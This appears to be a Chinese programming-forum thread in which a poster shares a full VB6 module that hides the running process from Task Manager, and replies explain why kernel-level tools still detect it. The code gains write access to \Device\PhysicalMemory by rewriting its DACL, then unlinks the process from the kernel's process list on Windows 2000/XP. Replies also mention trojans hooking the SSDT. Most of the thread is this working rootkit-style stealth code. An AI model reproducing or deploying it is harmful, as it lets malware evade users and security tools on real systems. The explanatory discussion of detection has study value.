今天在网上闲逛,突然发现这段代码。是用VB实现进程隐藏的。从前看过很多资料,NT内核几乎没有什么进程隐藏的方法。要么就是写DLL注入到系统进程。今天这段代码实现的是真正的隐藏(用任务管理器看不到)!!本人的测试:将以下代码粘贴进模块,在窗体中调用它的HideCurrentProcess()函数。Windows任务管理器看,进程真的没了!再用瑞星卡卡上网安全助手中的进程管理,还是没有!再试Windows优化大师中的进程管理,依然没有试验进程的踪迹!!后尝试了金山清理专家中的进程管理器,才发现了隐藏的进程。最后压轴的当然是冰刃,吼吼!居然用红色给标注出来了!看来还是逃不过冰刃的法眼。我想问:1.这段代码是如何实现进程隐藏的。2.问什么有些进程管理器可以发现隐藏进程,而有些则不能。下面就与大家分享这段代码:'该模块用于在任务管理器中隐藏进程
Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
Private Const STATUS_ACCESS_DENIED = &HC0000022
Private Const STATUS_INVALID_HANDLE = &HC0000008
Private Const ERROR_SUCCESS = 0&
Private Const SECTION_MAP_WRITE = &H2
Private Const SECTION_MAP_READ = &H4
Private Const READ_CONTROL = &H20000
Private Const WRITE_DAC = &H40000
Private Const NO_INHERITANCE = 0
Private Const DACL_SECURITY_INFORMATION = &H4Private Type IO_STATUS_BLOCK
Status As Long
Information As Long
End TypePrivate Type UNICODE_STRING
Length As Integer
MaximumLength As Integer
Buffer As Long
End TypePrivate Const OBJ_INHERIT = &H2
Private Const OBJ_PERMANENT = &H10
Private Const OBJ_EXCLUSIVE = &H20
Private Const OBJ_CASE_INSENSITIVE = &H40
Private Const OBJ_OPENIF = &H80
Private Const OBJ_OPENLINK = &H100
Private Const OBJ_KERNEL_HANDLE = &H200
Private Const OBJ_VALID_ATTRIBUTES = &H3F2Private Type OBJECT_ATTRIBUTES
Length As Long
RootDirectory As Long
ObjectName As Long
Attributes As Long
SecurityDeor As Long
SecurityQualityOfService As Long
End TypePrivate Type ACL
AclRevision As Byte
Sbz1 As Byte
AclSize As Integer
AceCount As Integer
Sbz2 As Integer
End TypePrivate Enum ACCESS_MODE
NOT_USED_ACCESS
GRANT_ACCESS
SET_ACCESS
DENY_ACCESS
REVOKE_ACCESS
SET_AUDIT_SUCCESS
SET_AUDIT_FAILURE
End EnumPrivate Enum MULTIPLE_TRUSTEE_OPERATION
NO_MULTIPLE_TRUSTEE
TRUSTEE_IS_IMPERSONATE
End EnumPrivate Enum TRUSTEE_FORM
TRUSTEE_IS_SID
TRUSTEE_IS_NAME
End EnumPrivate Enum TRUSTEE_TYPE
TRUSTEE_IS_UNKNOWN
TRUSTEE_IS_USER
TRUSTEE_IS_GROUP
End EnumPrivate Type TRUSTEE
pMultipleTrustee As Long
MultipleTrusteeOperation As MULTIPLE_TRUSTEE_OPERATION
TrusteeForm As TRUSTEE_FORM
TrusteeType As TRUSTEE_TYPE
ptstrName As String
End TypePrivate Type EXPLICIT_ACCESS
grfAccessPermissions As Long
grfAccessMode As ACCESS_MODE
grfInheritance As Long
TRUSTEE As TRUSTEE
End TypePrivate Type AceArray
List() As EXPLICIT_ACCESS
End TypePrivate Enum SE_OBJECT_TYPE
SE_UNKNOWN_OBJECT_TYPE = 0
SE_FILE_OBJECT
SE_SERVICE
SE_PRINTER
SE_REGISTRY_KEY
SE_LMSHARE
SE_KERNEL_OBJECT
SE_WINDOW_OBJECT
SE_DS_OBJECT
SE_DS_OBJECT_ALL
SE_PROVIDER_DEFINED_OBJECT
SE_WMIGUID_OBJECT
End EnumPrivate Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long
Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As LongPrivate Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long
Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias "BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As Long)Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long)
Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long
Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long
Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As LongPrivate Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End TypePrivate verinfo As OSVERSIONINFOPrivate g_hNtDLL As Long
Private g_pMapPhysicalMemory As Long
Private g_hMPM As Long
Private aByte(3) As Byte
Public Sub HideCurrentProcess()
'在进程列表中隐藏当前应用程序进程Dim thread As Long, process As Long, fw As Long, bw As Long
Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Longverinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
If verinfo.dwPlatformId = 2 Then
If verinfo.dwMajorVersion = 5 Then
Select Case verinfo.dwMinorVersion
Case 0
lOffsetFlink = &HA0
lOffsetBlink = &HA4
lOffsetPID = &H9C
Case 1
lOffsetFlink = &H88
lOffsetBlink = &H8C
lOffsetPID = &H84
End Select
End If
End If
End IfIf OpenPhysicalMemory <> 0 Then
thread = GetData(&HFFDFF124)
process = GetData(thread + &H44)
fw = GetData(process + lOffsetFlink)
bw = GetData(process + lOffsetBlink)
SetData fw + 4, bw
SetData bw, fw
CloseHandle g_hMPM
End If
End Sub

解决方案 »

  1.   

    接上帖Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)
    Dim pDacl As Long
    Dim pNewDacl As Long
    Dim pSD As Long
    Dim dwRes As Long
    Dim ea As EXPLICIT_ACCESSGetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSDea.grfAccessPermissions = SECTION_MAP_WRITE
    ea.grfAccessMode = GRANT_ACCESS
    ea.grfInheritance = NO_INHERITANCE
    ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME
    ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER
    ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullCharSetEntriesInAcl 1, ea, pDacl, pNewDaclSetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0CleanUp:
    LocalFree pSD
    LocalFree pNewDacl
    End SubPrivate Function OpenPhysicalMemory() As Long
    Dim Status As Long
    Dim PhysmemString As UNICODE_STRING
    Dim Attributes As OBJECT_ATTRIBUTESRtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")
    Attributes.Length = Len(Attributes)
    Attributes.RootDirectory = 0
    Attributes.ObjectName = VarPtr(PhysmemString)
    Attributes.Attributes = 0
    Attributes.SecurityDeor = 0
    Attributes.SecurityQualityOfService = 0Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, Attributes)
    If Status = STATUS_ACCESS_DENIED Then
    Status = ZwOpenSection(g_hMPM, READ_CONTROL or WRITE_DAC, Attributes)
    SetPhyscialMemorySectionCanBeWrited g_hMPM
    CloseHandle g_hMPM
    Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, Attributes)
    End IfDim lDirectoty As Long
    verinfo.dwOSVersionInfoSize = Len(verinfo)
    If (GetVersionEx(verinfo)) <> 0 Then
    If verinfo.dwPlatformId = 2 Then
    If verinfo.dwMajorVersion = 5 Then
    Select Case verinfo.dwMinorVersion
    Case 0
    lDirectoty = &H30000
    Case 1
    lDirectoty = &H39000
    End Select
    End If
    End If
    End IfIf Status = 0 Then
    g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)
    If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM
    End If
    End FunctionPrivate Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
    Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long
    Dim lTemp As LongVAddr = addr
    CopyMemory aByte(0), VAddr, 4
    lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))PGDE = BaseAddress + lTemp * 4
    CopyMemory PGDE, ByVal PGDE, 4If (PGDE And 1) <> 0 Then
    lTemp = PGDE And &H80
    If lTemp <> 0 Then
    PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF)
    Else
    PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000)
    lTemp = (VAddr And &H3FF000) / (2 ^ 12)
    PTE = PGDE + lTemp * 4
    CopyMemory PTE, ByVal PTE, 4If (PTE And 1) <> 0 Then
    PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)
    UnmapViewOfFile PGDE
    End If
    End If
    End IfLinearToPhys = PAddr
    End FunctionPrivate Function GetData(addr As Long) As Long
    Dim phys As Long, tmp As Long, ret As Longphys = LinearToPhys(g_pMapPhysicalMemory, addr)
    tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000)
    If tmp <> 0 Then
    ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
    CopyMemory ret, ByVal ret, 4UnmapViewOfFile tmp
    GetData = ret
    End If
    End FunctionPrivate Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean
    Dim phys As Long, tmp As Long, x As Longphys = LinearToPhys(g_pMapPhysicalMemory, addr)
    tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000)
    If tmp <> 0 Then
    x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
    CopyMemory ByVal x, data, 4UnmapViewOfFile tmp
    SetData = True
    End If
    End FunctionPrivate Function ByteArrToLong(inByte() As Byte) As Double
    Dim i As Integer
    For i = 0 To 3
    ByteArrToLong = ByteArrToLong + inByte(i) * (&H100 ^ i)
    Next i
    End Function
      

  2.   

    这个仅能在XP的SP2版本前的NT操作系统有效,后面的妄谈,MS把入口堵上了。1.这段代码是如何实现进程隐藏的。
    利用映射文件原理,将内核内存映射在本地进程中修改进程链。2.问什么有些进程管理器可以发现隐藏进程,而有些则不能。
    不同工具采用的技术不同,冰刃级的工具直接进入内核枚举,Windows则在应用层枚举,不同的级别不同的结果。
      

  3.   

    不同工具采用的技术不同,冰刃级的工具直接进入内核枚举,Windows的任务管理器则在应用层枚举,不同的级别不同的结果。
      

  4.   

    试过了,WinXP SP2上仍能使用。但是在Win2003上就不大行了~~
      

  5.   

    在任务管理器中隐藏进程是小菜,大多数的木马一般都采用hook ssdt,兼容性好,对于通过win32api 这样的ring3 api都可以完美的绕过。
      

  6.   

    WinXP SP2是可以的,但等SP3出来后肯定不行了。
      

  7.   

    SP2也不一定,我是SP2的番茄花园的某一个版本,就无法隐藏
      

  8.   

    改进程链表,的确出现很久了~~~我这里也有收藏,如下:http://www.m5home.com/bbs/dispbbs.asp?boardID=10&ID=1347&page=1还有一个DLL,没分析过原理~~大家也看看:http://www.m5home.com/bbs/dispbbs.asp?boardID=10&ID=1452&page=1效果图:
      

  9.   

    如果楼主想弄明白可以看这本书 《Windows核心编程指南》
    这个代码偶的blog上也有,不过是用C++的代码改写的
    win2000和winxp的数据地址不一样但总体上的思路都是一样的1.修改的物理内存对象的读写权限,使物理可写
    2.获得进程枚举链表的地址补充一些基础知识:
    windows NT 内核使用的进程调度链表和进程枚举链表并不是一个东东,
    任务管理器中调用的API QuerySystemInfomation使用的是枚举链表,
    所以我们完全可以改掉这个链表,把你想要隐藏的进程对应的节点从链表中删除,
    这样的进程照样可以在内核中被正常调度和运行,但并不会被用户级的任务查看程序发现,
    因为内核调度使用的并不是这个链表,但是这样的修改方式并非完美,其间也会导致一些内核的运行异常,
    有多个隐藏程序退出后就会使枚举链表凌乱不堪,导致一些进程枚举信息异常
    因为当进程结束时内核也会试图从链表删除这个节点和没有考虑链表头部的情况等多种原因造成的
      

  10.   

    很不错 原理还是那样 ,了解完  Win内核对象  就明了了